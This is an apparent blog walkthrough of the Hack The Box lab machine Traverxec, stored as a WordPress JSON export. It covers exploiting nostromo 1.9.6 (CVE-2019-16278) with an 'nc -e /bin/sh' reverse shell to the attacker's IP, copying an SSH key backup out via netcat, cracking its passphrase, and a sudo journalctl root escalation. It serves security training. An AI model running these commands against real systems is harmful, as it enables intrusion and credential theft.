{"id":311,"date":"2022-08-10T12:13:49","date_gmt":"2022-08-10T12:13:49","guid":{"rendered":"https:\/\/hacking.cool\/?p=311"},"modified":"2024-03-18T20:45:21","modified_gmt":"2024-03-18T20:45:21","slug":"__trashed","status":"publish","type":"post","link":"https:\/\/hacking.cool\/atomanya\/__trashed\/","title":{"rendered":"HTB Traverxec walkthrough"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"775\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/Traverxec-1024x775.png\" alt=\"\" class=\"wp-image-312\" style=\"width:512px;height:388px\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/Traverxec-1024x775.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/Traverxec-600x454.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/Traverxec-300x227.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/Traverxec-768x581.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/Traverxec.png 1400w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Hi everyone! Here is my second walkthrough.  Let&#8217;s start with nmap:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>nmap -A 10.10.10.165<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">(We use -A flag for OS detection, version detection, script scanning and traceroute)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"906\" height=\"367\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-3.png\" alt=\"\" class=\"wp-image-327\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-3.png 906w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-3-600x243.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-3-300x122.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-3-768x311.png 768w\" sizes=\"auto, (max-width: 906px) 100vw, 906px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">As we can see, two ports are open: 22 &#8211; SSH, and 80 &#8211; HTTP.  And we can notice the interesting web server nostromo 1.9.6. I suggest first check the site and after google the server version.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4-1024x597.png\" alt=\"\" class=\"wp-image-329\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4-1024x597.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4-600x350.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4-300x175.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4-768x447.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4-1536x895.png 1536w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-4.png 1773w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">It seems to be noting here&#8230; and let&#8217;s google:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"455\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-5-1024x455.png\" alt=\"\" class=\"wp-image-331\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-5-1024x455.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-5-600x267.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-5-300x133.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-5-768x341.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-5.png 1445w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">BINGO!!! WE&#8217;VE FOUND AN EXPLOIT! \ud83d\ude42 Vulnerability CVE: 2019-16278  nostromo 1.9.6 &#8211; Remote Code Execution. I&#8217;m going to use the first link:  <\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color\"><a href=\"https:\/\/www.exploit-db.com\/exploits\/47837\">https:\/\/www.exploit-db.com\/exploits\/47837<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">Creating a file with the code (I use nano):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"323\" height=\"64\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-6.png\" alt=\"\" class=\"wp-image-338\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-6.png 323w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-6-300x59.png 300w\" sizes=\"auto, (max-width: 323px) 100vw, 323px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Usage is: cve2019-16278.py &lt;Target_IP&gt; &lt;Target_Port&gt; &lt;Command&gt;&#8217; <\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">Therefore we need to chose an appropriate command to get a reverse shell. I will use netcat shell:  nc -e \/bin\/sh 10.0.0.1 1234<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">So my full command will be:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>python2 CVE-2019-16278.py 10.10.10.165 80 &#8220;nc -e \/bin\/sh 10.10.14.4 1234&#8221;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">(Don&#8217;t forget to change 10.10.14.4 to your ip address)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">And before run above command we have to set our netcat listener:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>nc -lnvp 1234<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"409\" height=\"127\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-7.png\" alt=\"\" class=\"wp-image-340\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-7.png 409w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-7-300x93.png 300w\" sizes=\"auto, (max-width: 409px) 100vw, 409px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"629\" height=\"389\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-8.png\" alt=\"\" class=\"wp-image-344\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-8.png 629w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-8-600x371.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-8-300x186.png 300w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Checking the window with netcat: <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"388\" height=\"156\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-9.png\" alt=\"\" class=\"wp-image-346\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-9.png 388w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-9-300x121.png 300w\" sizes=\"auto, (max-width: 388px) 100vw, 388px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Nice, connection is established. Let&#8217;s make our shell interactive:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>python3 -c &#8216;import pty;pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217;<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"414\" height=\"178\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-10.png\" alt=\"\" class=\"wp-image-348\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-10.png 414w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-10-300x129.png 300w\" sizes=\"auto, (max-width: 414px) 100vw, 414px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Next I checked the user&#8217;s home directory for a flag. But our shell is low privileged and we don&#8217;t have this permission:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"427\" height=\"167\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-11.png\" alt=\"\" class=\"wp-image-385\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-11.png 427w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-11-300x117.png 300w\" sizes=\"auto, (max-width: 427px) 100vw, 427px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">After some enumeration we can find <strong>httpd.conf<\/strong> file:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"501\" height=\"599\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-13.png\" alt=\"\" class=\"wp-image-389\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-13.png 501w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-13-251x300.png 251w\" sizes=\"auto, (max-width: 501px) 100vw, 501px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Folder public_www must be in home directory. Checking if it is accessible:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>cd \/home\/david\/public_www<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"557\" height=\"112\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-14.png\" alt=\"\" class=\"wp-image-390\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-14.png 557w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-14-300x60.png 300w\" sizes=\"auto, (max-width: 557px) 100vw, 557px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Yes it is, and we can see the folder protected-file-area. Go into:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"563\" height=\"116\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-19.png\" alt=\"\" class=\"wp-image-399\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-19.png 563w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-19-300x62.png 300w\" sizes=\"auto, (max-width: 563px) 100vw, 563px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Nice! We&#8217;ve found a backup files. Let&#8217;s send it to our machine with netcat:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>nc -lvp 1235 &gt; backup-ssh-identity-files.tgz <\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">(first step &#8211; run this command locally on your machine to receive the file. You can use other port instead of 1235, and call the file shorter instead of backup-ssh-identity-files.tgz)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"425\" height=\"147\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-21.png\" alt=\"\" class=\"wp-image-408\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-21.png 425w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-21-300x104.png 300w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>nc 10.10.14.8 1235 &lt; \/home\/david\/public_www\/protected-file-area\/backup-ssh-identity-files.tgz<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">(second step &#8211; run this command on the victim server to transfer the file. Don&#8217;t forget to change ip address to your one)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"50\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-24-1024x50.png\" alt=\"\" class=\"wp-image-413\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-24-1024x50.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-24-600x29.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-24-300x15.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-24-768x37.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-24.png 1256w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>And checking our own machine:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"452\" height=\"167\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-25.png\" alt=\"\" class=\"wp-image-415\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-25.png 452w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-25-300x111.png 300w\" sizes=\"auto, (max-width: 452px) 100vw, 452px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Connection was established. Now is time to audit what we have. To unpack files from .tgz use the following command:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>tar -zxvf backup-ssh-identity-files.tgz<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"440\" height=\"201\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-26.png\" alt=\"\" class=\"wp-image-417\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-26.png 440w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-26-300x137.png 300w\" sizes=\"auto, (max-width: 440px) 100vw, 440px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Extracted files seem to be ssh keys of david user. Maybe we will be able to use it to connect to the server via ssh. But it requires a passphrase to connect and we need to crack it before. I&#8217;m going to use John the Ripper tool. First we need to create file with ssh2john in format for John (inside .ssh folder where is id_rsa key):<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>sudo python3 \/usr\/share\/john\/ssh2john.py id_rsa &gt; key<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"478\" height=\"62\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-27.png\" alt=\"\" class=\"wp-image-428\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-27.png 478w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-27-300x39.png 300w\" sizes=\"auto, (max-width: 478px) 100vw, 478px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Take a look inside the file (if everything is correct you will see a hash inside):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1023\" height=\"407\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-32.png\" alt=\"\" class=\"wp-image-439\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-32.png 1023w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-32-600x239.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-32-300x119.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-32-768x306.png 768w\" sizes=\"auto, (max-width: 1023px) 100vw, 1023px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Next we will crack a hash using wordlist rockyou.txt for bruteforce:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>john -w=\/usr\/share\/wordlists\/rockyou.txt key<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"711\" height=\"234\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-33.png\" alt=\"\" class=\"wp-image-441\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-33.png 711w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-33-600x197.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-33-300x99.png 300w\" sizes=\"auto, (max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color\">Cool! Passphrase has been cracked! \ud83d\ude42<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">One more thing to do is setting the permission for the file (file with the key for ssh should have 600 permission):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"413\" height=\"60\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-34.png\" alt=\"\" class=\"wp-image-445\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-34.png 413w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-34-300x44.png 300w\" sizes=\"auto, (max-width: 413px) 100vw, 413px\" \/><\/figure>\n\n\n\n<p>Now we can utilize the private key id_rsa to connect via david&#8217;s ssh. As we already know passphrase for key is hunter:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>ssh -i id_rsa david@10.10.10.165<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"205\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-35.png\" alt=\"\" class=\"wp-image-447\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-35.png 700w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-35-600x176.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-35-300x88.png 300w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><\/figure>\n\n\n\n<p>Cat the user.txt and lets take a look what&#8217;s inside the bin folder:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"287\" height=\"94\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-37.png\" alt=\"\" class=\"wp-image-449\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-37.png 287w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-37-285x94.png 285w\" sizes=\"auto, (max-width: 287px) 100vw, 287px\" \/><\/figure>\n\n\n\n<p>Checking the script server-stats.sh:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>cat server-stats.sh<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"219\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-38.png\" alt=\"\" class=\"wp-image-450\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-38.png 680w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-38-600x193.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-38-300x97.png 300w\" sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/figure>\n\n\n\n<p>Nice, it executes journalctl using sudo \ud83d\ude09 I will visit GTFBins and look if there any privilage escalation tips for the journalctl:<\/p>\n\n\n\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/journalctl\/\">https:\/\/gtfobins.github.io\/gtfobins\/journalctl\/<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"880\" height=\"572\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-39.png\" alt=\"\" class=\"wp-image-452\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-39.png 880w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-39-600x390.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-39-300x195.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-39-768x499.png 768w\" sizes=\"auto, (max-width: 880px) 100vw, 880px\" \/><\/figure>\n\n\n\n<p>So we need to run the command:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>\/usr\/bin\/sudo \/usr\/bin\/journalctl -n5 -unostromo.service<\/strong><\/p>\n\n\n\n<p>(Must have is to resize or terminal window before you run it. Here is quotation from the journalctl manpage: The output is paged through less by default, and long lines are &#8220;truncated&#8221; to screen width. Therefore make terminal window smaller to have a mode with input.)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"619\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-40-1024x619.png\" alt=\"\" class=\"wp-image-454\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-40-1024x619.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-40-600x363.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-40-300x181.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-40-768x464.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-40.png 1496w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Then write:<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color\"><strong>!\/bin\/sh <\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"736\" height=\"149\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-41.png\" alt=\"\" class=\"wp-image-456\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-41.png 736w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-41-600x121.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-41-300x61.png 300w\" sizes=\"auto, (max-width: 736px) 100vw, 736px\" \/><\/figure>\n\n\n\n<p>And press Enter:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"733\" height=\"205\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-42.png\" alt=\"\" class=\"wp-image-457\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-42.png 733w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-42-600x168.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-42-300x84.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-42-380x107.png 380w\" sizes=\"auto, (max-width: 733px) 100vw, 733px\" \/><\/figure>\n\n\n\n<p>Hurrah!!! Machine has been rooted \ud83d\ude42<\/p>\n\n\n\n<p>Grabbing a root flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"296\" height=\"64\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/image-43.png\" alt=\"\" class=\"wp-image-459\"\/><\/figure>\n\n\n\n<p>Congratulations! And thanks for your attention. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi everyone! Here is my second walkthrough. Let&#8217;s start with nmap: nmap -A 10.10.10.165 (We use -A flag for OS detection, version detection, script scanning and traceroute) As we can see, two ports are open: 22 &#8211; SSH, and 80 &#8211; HTTP. And we can notice the interesting web server nostromo 1.9.6. I suggest first<span class=\"post-excerpt-end\">&hellip;<\/span><\/p>\n<p class=\"more-link\"><a href=\"https:\/\/hacking.cool\/atomanya\/__trashed\/\" class=\"themebutton\">Read More<\/a><\/p>\n","protected":false},"author":2,"featured_media":877,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-311","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-walktroughs"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>HTB Traverxec walkthrough - hacking.cool<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hacking.cool\/atomanya\/__trashed\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HTB Traverxec walkthrough - hacking.cool\" \/>\n<meta property=\"og:description\" content=\"Hi everyone! Here is my second walkthrough. Let&#8217;s start with nmap: nmap -A 10.10.10.165 (We use -A flag for OS detection, version detection, script scanning and traceroute) As we can see, two ports are open: 22 &#8211; SSH, and 80 &#8211; HTTP. And we can notice the interesting web server nostromo 1.9.6. I suggest first&hellip;Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hacking.cool\/atomanya\/__trashed\/\" \/>\n<meta property=\"og:site_name\" content=\"hacking.cool\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-10T12:13:49+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-03-18T20:45:21+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/08\/1-bQgJYMwmg2FgIL_i9996hg.png\" \/>\n\t<meta property=\"og:image:width\" content=\"799\" \/>\n\t<meta property=\"og:image:height\" content=\"514\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Anya\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Anya\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\",\"url\":\"https:\/\/hacking.cool\/atomanya\/\",\"name\":\"hacking.cool\",\"description\":\"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}\"},\"query-input\":\"required 